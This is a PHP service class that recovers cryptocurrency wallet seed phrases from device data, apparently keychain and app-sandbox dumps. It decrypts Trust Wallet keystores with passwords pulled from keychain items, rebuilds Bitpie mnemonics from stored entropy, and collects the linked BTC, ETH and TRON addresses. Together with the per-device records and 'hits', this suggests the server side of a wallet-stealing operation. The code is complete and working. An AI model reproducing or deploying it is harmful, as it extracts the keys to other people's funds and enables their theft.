710 lines
21 KiB
PHP
710 lines
21 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\Chain\BtcAddress;
|
|
use App\Services\Chain\EthAddress;
|
|
use App\Services\Chain\TronAddress;
|
|
use App\Support\WalletSource;
|
|
use FurqanSiddiqui\BIP39\BIP39;
|
|
|
|
/**
|
|
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
|
|
*/
|
|
final class DsKeystoreDecrypt
|
|
{
|
|
/**
|
|
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
|
*/
|
|
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
|
|
{
|
|
$hits = [];
|
|
$seen = [];
|
|
$bitpieNodes = [$wallets, $sandbox];
|
|
foreach ($device->keystores as $row) {
|
|
if ($row->source === 'Bitpie') {
|
|
$bitpieNodes[] = $row->raw_json;
|
|
}
|
|
}
|
|
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
|
|
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
|
if (isset($seen[$hash])) {
|
|
continue;
|
|
}
|
|
$seen[$hash] = true;
|
|
$hits[] = $hit;
|
|
}
|
|
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
|
|
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
|
if (isset($seen[$hash])) {
|
|
continue;
|
|
}
|
|
$seen[$hash] = true;
|
|
$hits[] = $hit;
|
|
}
|
|
|
|
return $hits;
|
|
}
|
|
|
|
/**
|
|
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
|
*/
|
|
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
|
|
{
|
|
$utcs = $this->collectKeystores($sandbox);
|
|
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
|
|
foreach ($device->keystores as $row) {
|
|
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
|
}
|
|
$utcs = $this->uniqueKeystores($utcs);
|
|
if ($utcs === []) {
|
|
return [];
|
|
}
|
|
$passwords = $this->collectPasswords($wallets);
|
|
foreach ($device->keystores as $row) {
|
|
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
|
}
|
|
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
|
|
if ($passwords === []) {
|
|
return [];
|
|
}
|
|
|
|
$hits = [];
|
|
foreach ($utcs as $item) {
|
|
$phrase = $this->unlock($item['keystore'], $passwords);
|
|
if ($phrase === null) {
|
|
continue;
|
|
}
|
|
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
|
|
$hits[] = [
|
|
'source' => $source,
|
|
'tag' => WalletSource::tagForLabel($source),
|
|
'phrase' => $phrase,
|
|
'addresses' => [],
|
|
];
|
|
}
|
|
|
|
return $hits;
|
|
}
|
|
|
|
/**
|
|
* @param list<mixed> $nodes
|
|
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
|
*/
|
|
private function recoverBitpie(array $nodes): array
|
|
{
|
|
$phrases = [];
|
|
$addresses = [];
|
|
foreach ($nodes as $node) {
|
|
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
|
|
$phrase = $this->phraseFromEntropyHex($hex);
|
|
if ($phrase !== null) {
|
|
$phrases[$phrase] = true;
|
|
}
|
|
}
|
|
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
|
|
}
|
|
if ($phrases === []) {
|
|
return [];
|
|
}
|
|
|
|
$uniq = [];
|
|
$seenAddr = [];
|
|
foreach ($addresses as $row) {
|
|
$key = $row['address'];
|
|
if (isset($seenAddr[$key])) {
|
|
continue;
|
|
}
|
|
$seenAddr[$key] = true;
|
|
$uniq[] = $row;
|
|
}
|
|
|
|
$hits = [];
|
|
foreach (array_keys($phrases) as $phrase) {
|
|
$hits[] = [
|
|
'source' => 'Bitpie',
|
|
'tag' => 'r',
|
|
'phrase' => $phrase,
|
|
'addresses' => $uniq,
|
|
];
|
|
}
|
|
|
|
return $hits;
|
|
}
|
|
|
|
/**
|
|
* @param list<string> $passwords
|
|
*/
|
|
public function unlock(array $keystore, array $passwords): ?string
|
|
{
|
|
foreach ($passwords as $password) {
|
|
$plain = EthKeystore::decrypt($keystore, $password);
|
|
if ($plain === null) {
|
|
continue;
|
|
}
|
|
$phrase = $this->asMnemonic($plain);
|
|
if ($phrase !== null) {
|
|
return $phrase;
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* @return list<array{source: string, keystore: array<string, mixed>}>
|
|
*/
|
|
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
|
|
{
|
|
if ($depth > 10 || $node === null) {
|
|
return [];
|
|
}
|
|
if (is_string($node)) {
|
|
$decoded = $this->decodeBlob($node);
|
|
if ($decoded === null) {
|
|
return [];
|
|
}
|
|
|
|
return $this->collectKeystores($decoded, $source, $depth + 1);
|
|
}
|
|
if (! is_array($node)) {
|
|
return [];
|
|
}
|
|
if ($this->isKeystore($node)) {
|
|
return [['source' => $source, 'keystore' => $node]];
|
|
}
|
|
|
|
$out = [];
|
|
foreach ($node as $key => $child) {
|
|
$next = $source;
|
|
if (is_string($key)) {
|
|
$hint = WalletSource::fromKeystoreHint($key);
|
|
if ($hint !== '') {
|
|
$next = $hint;
|
|
}
|
|
}
|
|
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* @return list<string>
|
|
*/
|
|
public function collectPasswords(mixed $node, int $depth = 0): array
|
|
{
|
|
$items = $this->collectPasswordItems($node, $depth);
|
|
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
|
|
$out = [];
|
|
foreach ($items as $item) {
|
|
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
|
|
}
|
|
|
|
return $this->uniquePasswords($out);
|
|
}
|
|
|
|
/**
|
|
* @return list<array{hex: string, score: int}>
|
|
*/
|
|
private function collectPasswordItems(mixed $node, int $depth = 0): array
|
|
{
|
|
if ($depth > 8 || ! is_array($node)) {
|
|
return [];
|
|
}
|
|
|
|
$out = [];
|
|
$hex = $node['dataHex'] ?? null;
|
|
if (is_string($hex) && $hex !== '') {
|
|
$account = strtolower((string) ($node['account'] ?? ''));
|
|
$score = 0;
|
|
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
|
|
$score += 100;
|
|
}
|
|
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
|
|
if ($rawLen === 32.0 || $rawLen === 64.0) {
|
|
$score += 20;
|
|
}
|
|
$out[] = ['hex' => $hex, 'score' => $score];
|
|
}
|
|
foreach (['items', 'wallets', 'sandbox'] as $key) {
|
|
if (! isset($node[$key]) || ! is_array($node[$key])) {
|
|
continue;
|
|
}
|
|
foreach ($node[$key] as $child) {
|
|
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
|
|
}
|
|
}
|
|
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
|
|
foreach ($node as $child) {
|
|
if (is_array($child)) {
|
|
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
|
|
}
|
|
}
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* @param list<WalletKeystore> $rows
|
|
*/
|
|
public function markDecrypted(iterable $rows, string $source): void
|
|
{
|
|
foreach ($rows as $row) {
|
|
if (! $row instanceof WalletKeystore) {
|
|
continue;
|
|
}
|
|
if ($row->source !== $source) {
|
|
continue;
|
|
}
|
|
if ((int) $row->decrypted === 1) {
|
|
continue;
|
|
}
|
|
$row->decrypted = 1;
|
|
$row->save();
|
|
}
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $node
|
|
*/
|
|
private function isKeystore(array $node): bool
|
|
{
|
|
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
|
|
if (! is_array($crypto)) {
|
|
return false;
|
|
}
|
|
|
|
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
|
|
}
|
|
|
|
/**
|
|
* @return list<string>
|
|
*/
|
|
private function passwordsFromHex(string $hex): array
|
|
{
|
|
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
|
|
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
|
return [];
|
|
}
|
|
$raw = @hex2bin($hex);
|
|
if (! is_string($raw) || $raw === '') {
|
|
return [];
|
|
}
|
|
|
|
return $this->passwordsFromString($raw);
|
|
}
|
|
|
|
/**
|
|
* @return list<string>
|
|
*/
|
|
private function passwordsFromString(string $raw): array
|
|
{
|
|
$out = [$raw];
|
|
if (mb_check_encoding($raw, 'UTF-8')) {
|
|
$trim = trim($raw);
|
|
if ($trim !== '' && $trim !== $raw) {
|
|
$out[] = $trim;
|
|
}
|
|
$unquoted = trim($trim, "\"'");
|
|
if ($unquoted !== '' && $unquoted !== $trim) {
|
|
$out[] = $unquoted;
|
|
}
|
|
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
|
|
$bin = @hex2bin($trim);
|
|
if (is_string($bin) && $bin !== '') {
|
|
$out[] = $bin;
|
|
}
|
|
}
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* @param list<array{source: string, keystore: array<string, mixed>}> $items
|
|
* @return list<array{source: string, keystore: array<string, mixed>}>
|
|
*/
|
|
private function uniqueKeystores(array $items): array
|
|
{
|
|
$seen = [];
|
|
$out = [];
|
|
foreach ($items as $item) {
|
|
$crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? [];
|
|
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
|
|
if ($fp === '|' || isset($seen[$fp])) {
|
|
continue;
|
|
}
|
|
$seen[$fp] = true;
|
|
$out[] = $item;
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* @param list<string> $passwords
|
|
* @return list<string>
|
|
*/
|
|
private function uniquePasswords(array $passwords): array
|
|
{
|
|
$seen = [];
|
|
$out = [];
|
|
foreach ($passwords as $password) {
|
|
if ($password === '') {
|
|
continue;
|
|
}
|
|
if (isset($seen[$password])) {
|
|
continue;
|
|
}
|
|
$seen[$password] = true;
|
|
$out[] = $password;
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
private function decodeBlob(string $raw): mixed
|
|
{
|
|
$raw = trim($raw);
|
|
if ($raw === '') {
|
|
return null;
|
|
}
|
|
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
|
|
$json = json_decode($raw, true);
|
|
|
|
return is_array($json) ? $json : null;
|
|
}
|
|
$b64 = base64_decode($raw, true);
|
|
if (is_string($b64) && $b64 !== '') {
|
|
$json = json_decode($b64, true);
|
|
if (is_array($json)) {
|
|
return $json;
|
|
}
|
|
}
|
|
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
|
|
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
|
|
$bin = @hex2bin($hex);
|
|
if (is_string($bin) && $bin !== '') {
|
|
$json = json_decode($bin, true);
|
|
if (is_array($json)) {
|
|
return $json;
|
|
}
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function asMnemonic(string $plain): ?string
|
|
{
|
|
$text = strtolower(trim($plain));
|
|
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
|
|
$words = $text === '' ? [] : explode(' ', $text);
|
|
$n = count($words);
|
|
if ($n !== 12 && $n !== 24) {
|
|
return null;
|
|
}
|
|
foreach ($words as $word) {
|
|
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
return implode(' ', $words);
|
|
}
|
|
|
|
/**
|
|
* @return list<string>
|
|
*/
|
|
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
|
|
{
|
|
if ($depth > 10 || $node === null) {
|
|
return [];
|
|
}
|
|
if (is_string($node)) {
|
|
$decoded = $this->decodeBlob($node);
|
|
if ($decoded === null) {
|
|
return [];
|
|
}
|
|
|
|
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
|
|
}
|
|
if (! is_array($node)) {
|
|
return [];
|
|
}
|
|
|
|
$out = [];
|
|
$account = strtolower(trim((string) ($node['account'] ?? '')));
|
|
if ($account === 'seedphraseentropy') {
|
|
$hex = $this->entropyHexFromItem($node);
|
|
if ($hex !== null) {
|
|
$out[] = $hex;
|
|
}
|
|
}
|
|
foreach ($node as $key => $child) {
|
|
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
|
|
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
|
|
if ($hex !== null) {
|
|
$out[] = $hex;
|
|
}
|
|
}
|
|
if (is_array($child) || is_string($child)) {
|
|
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
|
|
}
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
|
*/
|
|
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
|
|
{
|
|
if ($depth > 10 || $node === null) {
|
|
return [];
|
|
}
|
|
if (is_string($node)) {
|
|
if (! $inBitpie) {
|
|
return [];
|
|
}
|
|
|
|
return $this->addressesFromBitpieText($node);
|
|
}
|
|
if (! is_array($node)) {
|
|
return [];
|
|
}
|
|
|
|
$out = [];
|
|
$account = strtolower(trim((string) ($node['account'] ?? '')));
|
|
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
|
|
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
|
|
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
|
|
}
|
|
if ($extract && isset($node['address']) && is_string($node['address'])) {
|
|
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
|
|
if ($mapped !== null) {
|
|
$out[] = $mapped;
|
|
}
|
|
}
|
|
foreach ($node as $key => $child) {
|
|
if (! is_array($child) && ! is_string($child)) {
|
|
continue;
|
|
}
|
|
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
|
|
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
|
|
if (! $walk) {
|
|
continue;
|
|
}
|
|
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
private function isBitpieLabel(mixed $key): bool
|
|
{
|
|
$raw = strtolower(trim((string) $key));
|
|
|
|
return $raw !== '' && (
|
|
str_contains($raw, 'bitpie')
|
|
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
|
|
);
|
|
}
|
|
|
|
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
|
|
{
|
|
if (is_int($key)) {
|
|
return $inBitpie;
|
|
}
|
|
$raw = strtolower(trim((string) $key));
|
|
|
|
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $item
|
|
*/
|
|
private function entropyHexFromItem(array $item): ?string
|
|
{
|
|
$hex = $item['dataHex'] ?? null;
|
|
if (is_string($hex) && $hex !== '') {
|
|
$fromHex = $this->normalizeEntropyHex($hex);
|
|
if ($fromHex !== null) {
|
|
return $fromHex;
|
|
}
|
|
$bin = $this->fromHex($hex);
|
|
if ($bin !== null) {
|
|
$nested = $this->normalizeEntropyHex($bin);
|
|
if ($nested !== null) {
|
|
return $nested;
|
|
}
|
|
}
|
|
}
|
|
|
|
return $this->normalizeEntropyHex($this->itemUtf8($item));
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $item
|
|
*/
|
|
private function itemUtf8(array $item): string
|
|
{
|
|
$hex = $item['dataHex'] ?? null;
|
|
if (is_string($hex) && $hex !== '') {
|
|
$bin = $this->fromHex($hex);
|
|
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
|
|
return trim($bin);
|
|
}
|
|
}
|
|
$data = $item['data'] ?? null;
|
|
|
|
return is_string($data) ? trim($data) : '';
|
|
}
|
|
|
|
private function normalizeEntropyHex(string $raw): ?string
|
|
{
|
|
$raw = trim($raw);
|
|
if ($raw === '') {
|
|
return null;
|
|
}
|
|
$bin = $this->fromHex($raw);
|
|
if ($bin !== null) {
|
|
if (mb_check_encoding($bin, 'UTF-8')) {
|
|
$trim = trim($bin);
|
|
if ($this->isEntropyHex($trim)) {
|
|
return strtolower($trim);
|
|
}
|
|
}
|
|
if (strlen($bin) === 16 || strlen($bin) === 32) {
|
|
return strtolower(bin2hex($bin));
|
|
}
|
|
}
|
|
if ($this->isEntropyHex($raw)) {
|
|
return strtolower($raw);
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function isEntropyHex(string $value): bool
|
|
{
|
|
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|
|
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
|
|
}
|
|
|
|
private function phraseFromEntropyHex(string $hex): ?string
|
|
{
|
|
try {
|
|
$mnemonic = BIP39::Entropy(strtolower($hex));
|
|
} catch (\Throwable) {
|
|
return null;
|
|
}
|
|
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
|
|
|
|
return $this->asMnemonic($phrase);
|
|
}
|
|
|
|
/**
|
|
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
|
*/
|
|
private function addressesFromBitpieText(string $text): array
|
|
{
|
|
$out = [];
|
|
$text = trim($text);
|
|
if ($text === '') {
|
|
return $out;
|
|
}
|
|
$direct = $this->addressRow($text, null);
|
|
if ($direct !== null) {
|
|
$out[] = $direct;
|
|
}
|
|
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
|
|
$json = json_decode($m[1], true);
|
|
if (is_array($json)) {
|
|
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
|
|
}
|
|
}
|
|
$decoded = $this->decodeBlob($text);
|
|
if (is_array($decoded)) {
|
|
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
|
|
*/
|
|
private function addressRow(string $address, mixed $hint): ?array
|
|
{
|
|
$address = trim($address);
|
|
if ($address === '') {
|
|
return null;
|
|
}
|
|
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
|
|
$chain = strtoupper($chain);
|
|
if (! WalletSource::isSupportedChain($chain)) {
|
|
return null;
|
|
}
|
|
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
|
|
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
|
|
return null;
|
|
}
|
|
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
|
|
return null;
|
|
}
|
|
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
|
|
return null;
|
|
}
|
|
$symbol = match ($chain) {
|
|
'BITCOIN', 'BTC' => 'BTC',
|
|
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
|
|
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
|
default => 'TRX',
|
|
};
|
|
|
|
return [
|
|
'address' => $address,
|
|
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
|
|
'symbol' => $symbol,
|
|
'balance' => 0,
|
|
];
|
|
}
|
|
|
|
private function chainFromHint(mixed $hint): ?string
|
|
{
|
|
$raw = strtolower(trim((string) $hint));
|
|
if ($raw === '') {
|
|
return null;
|
|
}
|
|
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
|
|
return 'TRON';
|
|
}
|
|
if (str_contains($raw, 'eth')) {
|
|
return 'ETHEREUM';
|
|
}
|
|
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
|
|
return 'BITCOIN';
|
|
}
|
|
|
|
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
|
|
}
|
|
|
|
private function fromHex(string $value): ?string
|
|
{
|
|
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
|
|
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
|
return null;
|
|
}
|
|
$bin = @hex2bin($hex);
|
|
|
|
return is_string($bin) ? $bin : null;
|
|
}
|
|
}
|